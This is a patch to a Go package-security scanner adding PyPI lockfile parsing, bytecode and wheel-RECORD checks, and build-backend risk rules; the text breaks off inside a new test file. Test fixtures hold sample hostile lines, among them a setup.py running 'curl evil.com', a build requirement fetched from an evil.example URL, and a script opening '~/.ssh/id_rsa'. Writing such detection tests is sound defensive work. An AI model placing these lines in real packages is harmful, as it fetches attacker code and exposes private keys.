From cbd391c56697a2fbf41dbf829fea3c41a3893e30 Mon Sep 17 00:00:00 2001 From: Bhushan Date: Thu, 2 Jul 2026 21:30:36 +0530 Subject: [PATCH 1/2] feat(pypi): production-depth inventory, artifact inspection, and build-backend risk Lockfile parsers: - Table-aware poetry.lock/uv.lock parsing: sub-tables ([package.dependencies], [package.source]) can no longer clobber name/version; records artifact hashes (poetry files, uv wheels/sdist), explicit registries, and git/url sources; uv.lock virtual/editable/path entries (the project itself) are marked local and never scanned against PyPI. - requirements.txt: backslash continuations and --hash capture (pip-compile --generate-hashes layout), PEP 508 'name @ url' direct references, URL/path lines no longer produce bogus scan targets. - Pipfile.lock: hashes, index-name-to-URL resolution, git sources. - PEP 503 name canonicalization and package-name validation. - Dedupe(): one scan target per name@version across manifests+lockfiles; unpinned manifest entries collapse into their lockfile-resolved pin and keep direct-dependency provenance. Artifact inspection: - Orphaned compiled bytecode detection (.pyc/.pyo without matching source). - Wheel RECORD checks: missing RECORD and extracted-but-unlisted files. - Wheel {name}.data/scripts/ analyzed as an install execution surface. Build-backend risk: - Section-aware [build-system] parsing replaces line-based BuildBackend(). - New findings: in-tree backend-path backends and direct URL/VCS build requirements. Both wired into policy defaults and default-policy.yaml. CI scan (pypi): - Discovers Pipfile/Pipfile.lock; dedups inventory before scanning; direct URL/VCS dependencies surface as UNKNOWN (fail closed) instead of scanning a same-named index package; Direct flag now reflects manifest provenance. Calibration fix: only the artifact-root setup.py/pyproject.toml participates in build/install; nested example/test manifests are inert and no longer score (click 8.1.7 false-blocked at 100 from 11 example setup.py files; now ALLOW at 20). Hermetic-test hardening: PyPI CI tests isolate the home-keyed artifact cache. Co-Authored-By: Claude Fable 5 --- default-policy.yaml | 25 ++ internal/analyzer/pypi/analyzer.go | 169 +++++++++++- internal/analyzer/pypi/artifact_depth_test.go | 221 +++++++++++++++ internal/analyzer/pypi/pyproject.go | 96 ++++++- internal/ci/scan.go | 57 +++- internal/ci/scan_pypi_depth_test.go | 163 +++++++++++ internal/ci/scan_test.go | 3 + internal/deps/python/lockdepth_test.go | 259 ++++++++++++++++++ internal/deps/python/parser.go | 168 +++++++++++- internal/deps/python/poetry.go | 160 ++++++++++- internal/deps/python/requirements.go | 13 +- internal/policy/policy.go | 5 + internal/risk/risk.go | 10 + internal/types/types.go | 2 + 14 files changed, 1310 insertions(+), 41 deletions(-) create mode 100644 internal/analyzer/pypi/artifact_depth_test.go create mode 100644 internal/ci/scan_pypi_depth_test.go create mode 100644 internal/deps/python/lockdepth_test.go diff --git a/default-policy.yaml b/default-policy.yaml index 4fbfc4a..31e4444 100644 --- a/default-policy.yaml +++ b/default-policy.yaml @@ -242,6 +242,31 @@ rules: severity: medium score: 20 + pypi_in_tree_build_backend: + enabled: true + severity: high + score: 45 + + pypi_build_requires_direct_reference: + enabled: true + severity: high + score: 60 + + pypi_compiled_bytecode_payload: + enabled: true + severity: high + score: 40 + + pypi_wheel_record_missing: + enabled: true + severity: medium + score: 25 + + pypi_wheel_record_unlisted_files: + enabled: true + severity: high + score: 35 + pypi_eval_exec_usage: enabled: true severity: high diff --git a/internal/analyzer/pypi/analyzer.go b/internal/analyzer/pypi/analyzer.go index a18acd5..beee235 100644 --- a/internal/analyzer/pypi/analyzer.go +++ b/internal/analyzer/pypi/analyzer.go @@ -38,6 +38,11 @@ func AnalyzeDir(dir string, md Metadata, pol policy.Policy) (Analysis, error) { } var findings []types.Reason var suspicious []string + pyFiles := map[string]bool{} + var pycFiles []string + var allFiles []string + recordContents := map[string]string{} + distInfoSeen := false if md.Source && !md.Wheel { findings = risk.AddReason(findings, "pypi_source_distribution_only", "Package version only provides a source distribution", "") @@ -62,13 +67,30 @@ func AnalyzeDir(dir string, md Metadata, pol policy.Policy) (Analysis, error) { rel, _ := filepath.Rel(dir, path) slashRel := filepath.ToSlash(rel) base := filepath.Base(path) + allFiles = append(allFiles, slashRel) + lowerRel := strings.ToLower(slashRel) + if strings.HasSuffix(lowerRel, ".py") { + pyFiles[slashRel] = true + } + if strings.HasSuffix(lowerRel, ".pyc") || strings.HasSuffix(lowerRel, ".pyo") { + pycFiles = append(pycFiles, slashRel) + } + if strings.Contains(slashRel, ".dist-info/") { + distInfoSeen = true + if base == "RECORD" { + if b, err := os.ReadFile(path); err == nil { + recordContents[slashRel] = string(b) + } + } + } inspect := base == "setup.py" || base == "setup.cfg" || base == "pyproject.toml" || base == "MANIFEST.in" || strings.HasSuffix(base, ".py") || strings.HasPrefix(slashRel, "scripts/") || - strings.HasPrefix(slashRel, "bin/") + strings.HasPrefix(slashRel, "bin/") || + wheelDataScript(slashRel) if nativeExtensionName(slashRel) { artifact.NativeExtension = true } @@ -81,19 +103,30 @@ func AnalyzeDir(dir string, md Metadata, pol policy.Policy) (Analysis, error) { } text := string(b) lower := strings.ToLower(text) - if base == "setup.py" { + if base == "setup.py" && installRootManifest(slashRel) { artifact.SetupPyPresent = true findings = risk.AddReason(findings, "pypi_setup_py_present", "Source distribution contains setup.py", slashRel) setupFindings, setupSuspicious := AnalyzeSetupPy(slashRel, lower) findings = append(findings, setupFindings...) suspicious = append(suspicious, setupSuspicious...) } - if base == "pyproject.toml" { - backend := BuildBackend(text) - if backend != "" { - artifact.BuildBackend = backend - if UnknownBuildBackend(backend) { - findings = risk.AddReason(findings, "pypi_unknown_build_backend", "pyproject.toml uses an unusual or unknown build backend", backend) + if base == "pyproject.toml" && installRootManifest(slashRel) { + bs := ParseBuildSystem(text) + if bs.Backend != "" { + artifact.BuildBackend = bs.Backend + if UnknownBuildBackend(bs.Backend) { + findings = risk.AddReason(findings, "pypi_unknown_build_backend", "pyproject.toml uses an unusual or unknown build backend", bs.Backend) + } + } + if len(bs.BackendPath) > 0 { + artifact.BuildBackendPath = strings.Join(bs.BackendPath, ", ") + findings = risk.AddReason(findings, "pypi_in_tree_build_backend", "pyproject.toml loads the build backend from code inside the package (backend-path)", slashRel+": "+artifact.BuildBackendPath) + suspicious = append(suspicious, "in-tree build backend") + } + for _, req := range bs.Requires { + if DirectBuildRequirement(req) { + findings = risk.AddReason(findings, "pypi_build_requires_direct_reference", "pyproject.toml build requirements pull code from a direct URL or VCS reference", slashRel+": "+req) + suspicious = append(suspicious, "direct-URL build requirement") } } } @@ -122,6 +155,24 @@ func AnalyzeDir(dir string, md Metadata, pol policy.Policy) (Analysis, error) { findings = risk.AddReason(findings, "pypi_native_extension", "Package artifact contains native extension or native source files", "") suspicious = append(suspicious, "native extension") } + if orphans := orphanedBytecode(pycFiles, pyFiles); len(orphans) > 0 { + artifact.OrphanedBytecode = true + findings = risk.AddReason(findings, "pypi_compiled_bytecode_payload", "Package artifact ships compiled Python bytecode without matching source files", strings.Join(capList(orphans, 5), ", ")) + suspicious = append(suspicious, "orphaned compiled bytecode") + } + if md.Wheel { + if len(recordContents) == 0 { + evidence := "no .dist-info RECORD found" + if distInfoSeen { + evidence = ".dist-info present but RECORD unreadable or absent" + } + findings = risk.AddReason(findings, "pypi_wheel_record_missing", "Wheel artifact is missing its .dist-info RECORD manifest", evidence) + } + if unlisted := filesNotInRecord(recordContents, allFiles); len(unlisted) > 0 { + findings = risk.AddReason(findings, "pypi_wheel_record_unlisted_files", "Wheel artifact contains files not declared in its RECORD manifest", strings.Join(capList(unlisted, 5), ", ")) + suspicious = append(suspicious, "wheel files missing from RECORD") + } + } res := risk.Evaluate(pkg, dedupeReasons(findings), nil, unique(suspicious), nil, pol) res.Artifact = artifact @@ -134,9 +185,111 @@ func shouldAnalyzePythonExecutionSurface(slashRel, base string) bool { } return strings.HasPrefix(slashRel, "scripts/") || strings.HasPrefix(slashRel, "bin/") || + wheelDataScript(slashRel) || base == "__main__.py" } +// wheelDataScript reports whether the path is inside a wheel's +// {name}-{version}.data/scripts/ directory, which installs onto PATH. +func wheelDataScript(slashRel string) bool { + return strings.Contains(slashRel, ".data/scripts/") +} + +// installRootManifest reports whether a setup.py/pyproject.toml path sits at +// the root of an extracted artifact (./, artifact-N/, or +// artifact-N/{name}-{version}/). Only the root manifest participates in the +// build/install; copies nested deeper — examples, tests, vendored fixtures — +// are inert at install time and scoring them false-blocks real packages. +func installRootManifest(slashRel string) bool { + return strings.Count(slashRel, "/") <= 2 +} + +// orphanedBytecode returns compiled bytecode files that have no matching .py +// source in the artifact — the classic shape of a payload hidden from source +// review. +func orphanedBytecode(pycFiles []string, pyFiles map[string]bool) []string { + var orphans []string + for _, pyc := range pycFiles { + dir := "" + base := pyc + if idx := strings.LastIndex(pyc, "/"); idx >= 0 { + dir, base = pyc[:idx], pyc[idx+1:] + } + module := base + if cut := strings.Index(base, "."); cut >= 0 { + module = base[:cut] + } + // __pycache__/mod.cpython-311.pyc maps to ../mod.py; legacy mod.pyc + // maps to a sibling mod.py. + sourceDir := dir + if strings.HasSuffix(dir, "__pycache__") { + sourceDir = strings.TrimSuffix(strings.TrimSuffix(dir, "__pycache__"), "/") + } + source := module + ".py" + if sourceDir != "" { + source = sourceDir + "/" + source + } + if !pyFiles[source] { + orphans = append(orphans, pyc) + } + } + return orphans +} + +// filesNotInRecord compares the files extracted for each wheel against the +// wheel's RECORD manifest and returns extracted files RECORD does not list. +// The comparison is scoped to the directory tree containing the .dist-info, +// so a source distribution extracted alongside the wheel is not inspected. +func filesNotInRecord(recordContents map[string]string, allFiles []string) []string { + var unlisted []string + for recordPath, content := range recordContents { + distInfoDir := recordPath[:strings.LastIndex(recordPath, "/")] + root := "" + if idx := strings.LastIndex(distInfoDir, "/"); idx >= 0 { + root = distInfoDir[:idx] + } + listed := map[string]bool{} + for _, line := range strings.Split(content, "\n") { + line = strings.TrimSpace(line) + if line == "" { + continue + } + entry := line + if idx := strings.Index(line, ","); idx >= 0 { + entry = line[:idx] + } + entry = strings.Trim(entry, `"`) + entry = strings.TrimPrefix(filepath.ToSlash(entry), "./") + if root != "" { + entry = root + "/" + entry + } + listed[entry] = true + } + for _, f := range allFiles { + if root != "" && !strings.HasPrefix(f, root+"/") { + continue + } + base := filepath.Base(f) + // RECORD signature companions are legitimately unlisted. + if base == "RECORD.jws" || base == "RECORD.p7s" { + continue + } + if !listed[f] { + unlisted = append(unlisted, f) + } + } + } + return unlisted +} + +func capList(in []string, n int) []string { + if len(in) <= n { + return in + } + out := append([]string{}, in[:n]...) + return append(out, fmt.Sprintf("(+%d more)", len(in)-n)) +} + func dedupeReasons(in []types.Reason) []types.Reason { seen := map[string]bool{} var out []types.Reason diff --git a/internal/analyzer/pypi/artifact_depth_test.go b/internal/analyzer/pypi/artifact_depth_test.go new file mode 100644 index 0000000..7169204 --- /dev/null +++ b/internal/analyzer/pypi/artifact_depth_test.go @@ -0,0 +1,221 @@ +package pypi + +import ( + "os" + "path/filepath" + "testing" + + "github.com/sairintechnologycom/pkgsafe/internal/policy" + "github.com/sairintechnologycom/pkgsafe/internal/types" +) + +func writeTree(t *testing.T, root string, files map[string]string) { + t.Helper() + for rel, content := range files { + path := filepath.Join(root, filepath.FromSlash(rel)) + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + } +} + +func TestAnalyzeDirFlagsInTreeBackendAndDirectBuildRequires(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "pyproject.toml": `[build-system] +requires = [ + "setuptools>=61", + "helper @ https://evil.example/helper-1.0.tar.gz", +] +build-backend = "backend" +backend-path = ["."] +`, + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "0.1.0", Source: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + for _, id := range []string{"pypi_in_tree_build_backend", "pypi_build_requires_direct_reference", "pypi_unknown_build_backend"} { + if !hasReason(analysis.Findings, id) { + t.Fatalf("expected reason %s in %+v", id, analysis.Findings) + } + } + if analysis.Artifact.BuildBackendPath != "." { + t.Fatalf("backend-path not recorded: %+v", analysis.Artifact) + } + if analysis.Result.Decision == types.DecisionAllow { + t.Fatalf("in-tree backend plus direct build requirement must not be a clean allow, got %s", analysis.Result.Decision) + } +} + +func TestAnalyzeDirBuildSystemKeysOutsideSectionIgnored(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "pyproject.toml": `[build-system] +requires = ["hatchling"] +build-backend = "hatchling.build" + +[tool.example] +backend-path = ["not-a-build-key"] +requires = ["pkg @ https://example.com/x.whl"] +`, + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "0.1.0", Source: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + for _, id := range []string{"pypi_in_tree_build_backend", "pypi_build_requires_direct_reference", "pypi_unknown_build_backend"} { + if hasReason(analysis.Findings, id) { + t.Fatalf("keys outside [build-system] must not score %s: %+v", id, analysis.Findings) + } + } +} + +func TestAnalyzeDirFlagsOrphanedBytecode(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "pkg/__init__.py": "", + "pkg/visible.py": "x = 1", + "pkg/__pycache__/visible.cpython-311.pyc": "\x61\x0d\x0d\x0a bytecode", + "pkg/__pycache__/hidden.cpython-311.pyc": "\x61\x0d\x0d\x0a payload", + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "0.1.0", Wheel: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + if !hasReason(analysis.Findings, "pypi_compiled_bytecode_payload") { + t.Fatalf("expected orphaned bytecode finding: %+v", analysis.Findings) + } + if !analysis.Artifact.OrphanedBytecode { + t.Fatal("artifact summary should mark orphaned bytecode") + } +} + +func TestAnalyzeDirBytecodeWithMatchingSourceIsClean(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "pkg/mod.py": "x = 1", + "pkg/__pycache__/mod.cpython-311.pyc": "bytecode", + "legacy/tool.py": "y = 2", + "legacy/tool.pyc": "bytecode", + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "0.1.0", Source: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + if hasReason(analysis.Findings, "pypi_compiled_bytecode_payload") { + t.Fatalf("bytecode with matching source must not score: %+v", analysis.Findings) + } +} + +func TestAnalyzeDirWheelRecordChecks(t *testing.T) { + t.Run("unlisted files flagged", func(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "artifact-0/demo/__init__.py": "", + "artifact-0/demo/extra.py": "smuggled = True", + "artifact-0/demo-1.0.dist-info/METADATA": "Name: demo", + "artifact-0/demo-1.0.dist-info/RECORD": `demo/__init__.py,sha256=abc,0 +demo-1.0.dist-info/METADATA,sha256=def,10 +demo-1.0.dist-info/RECORD,, +`, + // A source distribution extracted alongside must not count as unlisted. + "artifact-1/demo-1.0/setup.cfg": "", + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "1.0", Wheel: true, Source: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + if !hasReason(analysis.Findings, "pypi_wheel_record_unlisted_files") { + t.Fatalf("expected unlisted-files finding: %+v", analysis.Findings) + } + for _, r := range analysis.Findings { + if r.ID == "pypi_wheel_record_unlisted_files" && r.Evidence != "artifact-0/demo/extra.py" { + t.Fatalf("unexpected unlisted evidence: %q", r.Evidence) + } + } + }) + t.Run("complete record is clean", func(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "artifact-0/demo/__init__.py": "", + "artifact-0/demo-1.0.dist-info/METADATA": "Name: demo", + "artifact-0/demo-1.0.dist-info/RECORD": `demo/__init__.py,sha256=abc,0 +demo-1.0.dist-info/METADATA,sha256=def,10 +demo-1.0.dist-info/RECORD,, +`, + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "1.0", Wheel: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + for _, id := range []string{"pypi_wheel_record_unlisted_files", "pypi_wheel_record_missing"} { + if hasReason(analysis.Findings, id) { + t.Fatalf("complete RECORD must not score %s: %+v", id, analysis.Findings) + } + } + }) + t.Run("missing record flagged", func(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "artifact-0/demo/__init__.py": "", + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "1.0", Wheel: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + if !hasReason(analysis.Findings, "pypi_wheel_record_missing") { + t.Fatalf("expected record-missing finding: %+v", analysis.Findings) + } + }) +} + +func TestAnalyzeDirNestedExampleManifestsAreInert(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "artifact-1/demo-1.0/setup.py": "from setuptools import setup\nsetup()", + "artifact-1/demo-1.0/examples/complex/setup.py": "import os; os.system('anything')", + "artifact-1/demo-1.0/examples/complex/pyproject.toml": `[build-system] +build-backend = "backend" +backend-path = ["."] +`, + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "1.0", Source: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + setupPresent := 0 + for _, r := range analysis.Findings { + if r.ID == "pypi_setup_py_present" { + setupPresent++ + } + } + if setupPresent != 1 { + t.Fatalf("only the root setup.py participates in install; got %d findings: %+v", setupPresent, analysis.Findings) + } + for _, id := range []string{"pypi_setup_py_shell_execution", "pypi_in_tree_build_backend", "pypi_unknown_build_backend"} { + if hasReason(analysis.Findings, id) { + t.Fatalf("nested example manifests must not score %s: %+v", id, analysis.Findings) + } + } +} + +func TestAnalyzeDirWheelDataScriptsAreExecutionSurface(t *testing.T) { + dir := t.TempDir() + writeTree(t, dir, map[string]string{ + "demo-1.0.data/scripts/post-install.py": ` +import os +open(os.path.expanduser("~/.ssh/id_rsa")) +`, + }) + analysis, err := AnalyzeDir(dir, Metadata{Name: "demo", Version: "1.0", Wheel: true}, policy.Default()) + if err != nil { + t.Fatal(err) + } + if !hasReason(analysis.Findings, "pypi_credential_path_access") { + t.Fatalf("wheel data scripts must be analyzed as execution surface: %+v", analysis.Findings) + } +} diff --git a/internal/analyzer/pypi/pyproject.go b/internal/analyzer/pypi/pyproject.go index 7ad9d27..3bd942d 100644 --- a/internal/analyzer/pypi/pyproject.go +++ b/internal/analyzer/pypi/pyproject.go @@ -4,18 +4,98 @@ import ( "strings" ) -func BuildBackend(raw string) string { - for _, line := range strings.Split(raw, "\n") { - line = strings.TrimSpace(line) - if strings.HasPrefix(line, "build-backend") { - _, val, ok := strings.Cut(line, "=") - if !ok { +// BuildSystem is the parsed [build-system] table of a pyproject.toml. +type BuildSystem struct { + Backend string + // BackendPath holds backend-path entries. A non-empty value means the + // build backend is loaded from code shipped inside the package itself + // (PEP 517 in-tree backend), which runs arbitrary project code at build + // time regardless of what backend name is declared. + BackendPath []string + Requires []string +} + +// ParseBuildSystem reads the [build-system] table section-aware, so keys with +// the same names in other tables (tool config, examples embedded in strings) +// are not picked up. +func ParseBuildSystem(raw string) BuildSystem { + var bs BuildSystem + section := "" + arrayKey := "" + for _, originalLine := range strings.Split(raw, "\n") { + line := strings.TrimSpace(originalLine) + if line == "" || strings.HasPrefix(line, "#") { + continue + } + if arrayKey != "" { + bs.appendArrayValues(arrayKey, line) + if strings.Contains(line, "]") { + arrayKey = "" + } + continue + } + if strings.HasPrefix(line, "[") && strings.HasSuffix(line, "]") { + section = strings.Trim(line, "[]") + continue + } + if section != "build-system" { + continue + } + key, val, ok := strings.Cut(line, "=") + if !ok { + continue + } + k := strings.TrimSpace(key) + v := strings.TrimSpace(val) + switch k { + case "build-backend": + bs.Backend = strings.Trim(v, `"'`) + case "backend-path", "requires": + if strings.HasPrefix(v, "[") && !strings.Contains(v, "]") { + arrayKey = k continue } - return strings.Trim(strings.TrimSpace(val), `"'`) + bs.appendArrayValues(k, v) + } + } + return bs +} + +func (bs *BuildSystem) appendArrayValues(key, line string) { + for _, v := range quotedValues(line) { + switch key { + case "backend-path": + bs.BackendPath = append(bs.BackendPath, v) + case "requires": + bs.Requires = append(bs.Requires, v) + } + } +} + +func quotedValues(line string) []string { + var out []string + for { + start := strings.IndexAny(line, `"'`) + if start < 0 { + return out + } + quote := line[start] + rest := line[start+1:] + end := strings.IndexByte(rest, quote) + if end < 0 { + return out + } + if v := strings.TrimSpace(rest[:end]); v != "" { + out = append(out, v) } + line = rest[end+1:] } - return "" +} + +// DirectBuildRequirement reports whether a [build-system] requires entry is a +// direct URL or VCS reference rather than an index-resolved requirement. +func DirectBuildRequirement(req string) bool { + return strings.Contains(req, "://") || strings.Contains(req, "git+") } func UnknownBuildBackend(backend string) bool { diff --git a/internal/ci/scan.go b/internal/ci/scan.go index 1067492..9ec9681 100644 --- a/internal/ci/scan.go +++ b/internal/ci/scan.go @@ -369,6 +369,19 @@ func runPyPIScan(opts ScanOptions, pol policy.Policy, failOn string) (*ScanResul } deps = append(deps, parsed...) } + // One scan target per name@version even when several manifests/lockfiles + // list the same dependency; the project's own lock entry and local path + // sources are not registry packages. + deps = pydeps.Dedupe(deps) + filtered := deps[:0] + for _, dep := range deps { + if dep.LocalSource { + fmt.Fprintf(os.Stderr, "Note: skipping %s (local project or path source in %s)\n", dep.Name, dep.SourceFile) + continue + } + filtered = append(filtered, dep) + } + deps = filtered scanner := spypi.New() scanner.Policy = pol scanner.Offline = opts.Offline @@ -385,13 +398,28 @@ func runPyPIScan(opts ScanOptions, pol policy.Policy, failOn string) (*ScanResul } // Scan concurrently (bounded); a per-dependency failure becomes - // DecisionUnknown instead of aborting the whole scan. - scanned := parallelScan(deps, + // DecisionUnknown instead of aborting the whole scan. Direct URL/VCS + // dependencies never touch the index — scanning the same name on PyPI + // would inspect a different artifact — so they surface as UNKNOWN. + scanned := make([]types.ScanResult, len(deps)) + var registryIdx []int + var registryDeps []pydeps.Dependency + for i, dep := range deps { + if dep.DirectURL != "" { + scanned[i] = directURLScanResult(dep) + continue + } + registryIdx = append(registryIdx, i) + registryDeps = append(registryDeps, dep) + } + for j, res := range parallelScan(registryDeps, func(d pydeps.Dependency) (string, string) { return d.Name, d.Version }, func(name, version string) (types.ScanResult, error) { sc := scanner // copy per call to avoid shared mutable state return sc.ScanPackage(name, version) - }) + }) { + scanned[registryIdx[j]] = res + } for i := range deps { res := scanned[i] @@ -423,7 +451,7 @@ func runPyPIScan(opts ScanOptions, pol policy.Policy, failOn string) (*ScanResul Version: res.Package.Version, Decision: string(res.Decision), RiskScore: res.Score, - Direct: true, + Direct: !deps[i].FromLockfile, DependencyType: "python", Reasons: res.Reasons, Vulnerabilities: res.Vulnerabilities, @@ -479,12 +507,12 @@ func detectEcosystem(opts ScanOptions) string { file := firstNonEmpty(opts.DependencyFile, opts.LockfilePath) base := strings.ToLower(filepath.Base(file)) switch base { - case "requirements.txt", "pyproject.toml", "poetry.lock", "uv.lock": + case "requirements.txt", "pyproject.toml", "poetry.lock", "uv.lock", "pipfile", "pipfile.lock": return "pypi" case "package-lock.json": return "npm" } - for _, name := range []string{"package-lock.json", "requirements.txt", "pyproject.toml"} { + for _, name := range []string{"package-lock.json", "requirements.txt", "pyproject.toml", "poetry.lock", "uv.lock", "Pipfile", "Pipfile.lock"} { if _, err := os.Stat(name); err == nil { if name == "package-lock.json" { return "npm" @@ -503,7 +531,7 @@ func pythonDependencyFiles(opts ScanOptions) []string { return []string{opts.LockfilePath} } var files []string - for _, name := range []string{"requirements.txt", "pyproject.toml", "poetry.lock", "uv.lock"} { + for _, name := range []string{"requirements.txt", "pyproject.toml", "poetry.lock", "uv.lock", "Pipfile", "Pipfile.lock"} { if _, err := os.Stat(name); err == nil { files = append(files, name) } @@ -511,6 +539,21 @@ func pythonDependencyFiles(opts ScanOptions) []string { return files } +// directURLScanResult marks a direct URL/VCS dependency as not scanned. It is +// explicitly DecisionUnknown — never a clean ALLOW. +func directURLScanResult(dep pydeps.Dependency) types.ScanResult { + return types.ScanResult{ + Package: types.PackageIdentity{Ecosystem: "pypi", Name: dep.Name, Version: dep.Version}, + Decision: types.DecisionUnknown, + Reasons: []types.Reason{{ + ID: "direct_url_dependency_not_scanned", + Severity: "medium", + Description: "Dependency resolves from a direct URL/VCS source, not the package index; the artifact was not scanned.", + Evidence: dep.DirectURL, + }}, + } +} + func firstFile(files []string) string { if len(files) == 0 { return "" diff --git a/internal/ci/scan_pypi_depth_test.go b/internal/ci/scan_pypi_depth_test.go new file mode 100644 index 0000000..8523209 --- /dev/null +++ b/internal/ci/scan_pypi_depth_test.go @@ -0,0 +1,163 @@ +package ci + +import ( + "crypto/sha256" + "encoding/hex" + "encoding/json" + "fmt" + "net/http" + "net/http/httptest" + "os" + "path/filepath" + "testing" + + rpypi "github.com/sairintechnologycom/pkgsafe/internal/registry/pypi" +) + +// TestCI_RunScan_PyPIInventoryDepth exercises the multi-file Python +// inventory: manifest+lockfile dedup with direct/transitive marking, skipping +// the project's own uv.lock entry, and fail-closed UNKNOWN for direct URL +// dependencies. +func TestCI_RunScan_PyPIInventoryDepth(t *testing.T) { + tmp := t.TempDir() + t.Chdir(tmp) + // Isolate the artifact/result caches: they key by filename under the + // user's home, so parallel test packages downloading a same-named + // fixture tarball would otherwise poison this test's hash verification. + t.Setenv("HOME", tmp) + + if err := os.WriteFile(filepath.Join(tmp, "pyproject.toml"), []byte(` +[project] +name = "myapp" +dependencies = [ + "requests", +] +`), 0o644); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(tmp, "uv.lock"), []byte(` +version = 1 + +[[package]] +name = "myapp" +version = "0.1.0" +source = { virtual = "." } + +[[package]] +name = "requests" +version = "2.31.0" +source = { registry = "https://pypi.org/simple" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/requests-2.31.0-py3-none-any.whl", hash = "sha256:aaa", size = 1 }, +] + +[[package]] +name = "patched-lib" +version = "1.0.0" +source = { git = "https://github.com/example/patched-lib?rev=abc123" } +`), 0o644); err != nil { + t.Fatal(err) + } + + tarballContent := makeTarball(t, map[string]string{ + "setup.py": "import os; os.system('curl evil.com')", + }) + hash := sha256.Sum256(tarballContent) + hashHex := hex.EncodeToString(hash[:]) + + mux := http.NewServeMux() + var srv *httptest.Server + requestsHits := 0 + mux.HandleFunc("/requests/json", func(w http.ResponseWriter, r *http.Request) { + requestsHits++ + md := rpypi.Metadata{ + Info: rpypi.Info{Name: "requests", Version: "2.31.0"}, + Releases: map[string][]rpypi.File{ + "2.31.0": { + { + Filename: "requests-2.31.0.tar.gz", + PackageType: "sdist", + URL: srv.URL + "/tarballs/requests-2.31.0.tar.gz", + Size: int64(len(tarballContent)), + Digests: map[string]string{"sha256": hashHex}, + }, + }, + }, + } + _ = json.NewEncoder(w).Encode(md) + }) + mux.HandleFunc("/tarballs/", func(w http.ResponseWriter, r *http.Request) { + _, _ = w.Write(tarballContent) + }) + mux.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) { + t.Errorf("unexpected registry request: %s", r.URL.Path) + http.NotFound(w, r) + }) + srv = httptest.NewServer(mux) + defer srv.Close() + + oldURL := rpypi.DefaultRegistryURL + rpypi.DefaultRegistryURL = srv.URL + defer func() { rpypi.DefaultRegistryURL = oldURL }() + + policyPath := filepath.Join(tmp, "policy.yaml") + if err := os.WriteFile(policyPath, []byte(` +mode: block +thresholds: + allow_max_score: 29 + warn_max_score: 69 + block_min_score: 70 +`), 0o644); err != nil { + t.Fatal(err) + } + + res, err := RunScan(ScanOptions{ + Ecosystem: "pypi", + PolicyPath: policyPath, + FailOn: "block", + JsonOutput: filepath.Join(tmp, "results.json"), + }) + if err != nil { + t.Fatal(err) + } + + if res.Summary.PackagesScanned != 2 { + t.Fatalf("expected 2 scan targets after dedup and local skip, got %d: %s", res.Summary.PackagesScanned, mustJSON(res.Findings)) + } + if requestsHits != 1 { + t.Fatalf("requests should be fetched exactly once after dedup, got %d hits", requestsHits) + } + if res.Summary.Unknown != 1 { + t.Fatalf("direct URL dependency must surface as UNKNOWN: %+v", res.Summary) + } + + byName := map[string]Finding{} + for _, f := range res.Findings { + byName[f.Package] = f + } + if _, present := byName["myapp"]; present { + t.Fatalf("project's own uv.lock entry must not be scanned: %s", mustJSON(res.Findings)) + } + req, ok := byName["requests"] + if !ok || req.Version != "2.31.0" { + t.Fatalf("expected requests@2.31.0 finding: %s", mustJSON(res.Findings)) + } + if !req.Direct { + t.Fatal("requests is listed in pyproject.toml and must stay marked direct") + } + patched := byName["patched-lib"] + if patched.Decision != "unknown" { + t.Fatalf("git-sourced dependency must be unknown, got %q", patched.Decision) + } + if patched.Direct { + t.Fatal("lockfile-only dependency must not be marked direct") + } +} + +func mustJSON(v any) string { + b, err := json.MarshalIndent(v, "", " ") + if err != nil { + return fmt.Sprintf("%+v", v) + } + return string(b) +} diff --git a/internal/ci/scan_test.go b/internal/ci/scan_test.go index cf2e54f..8697f80 100644 --- a/internal/ci/scan_test.go +++ b/internal/ci/scan_test.go @@ -603,6 +603,9 @@ func TestCI_FailOnBehavior(t *testing.T) { func TestCI_RunScan_PyPI(t *testing.T) { tmp := t.TempDir() + // Isolate the home-keyed artifact cache from same-named fixture + // tarballs downloaded by tests in other packages. + t.Setenv("HOME", tmp) reqFile := filepath.Join(tmp, "requirements.txt") if err := os.WriteFile(reqFile, []byte("requests==2.31.0\npydantic\n"), 0o644); err != nil { t.Fatal(err) diff --git a/internal/deps/python/lockdepth_test.go b/internal/deps/python/lockdepth_test.go new file mode 100644 index 0000000..eb4c3d7 --- /dev/null +++ b/internal/deps/python/lockdepth_test.go @@ -0,0 +1,259 @@ +package python + +import ( + "os" + "path/filepath" + "testing" +) + +func writeFixture(t *testing.T, name, content string) string { + t.Helper() + path := filepath.Join(t.TempDir(), name) + if err := os.WriteFile(path, []byte(content), 0o644); err != nil { + t.Fatal(err) + } + return path +} + +func TestParsePoetryLockV2SubTablesAndHashes(t *testing.T) { + path 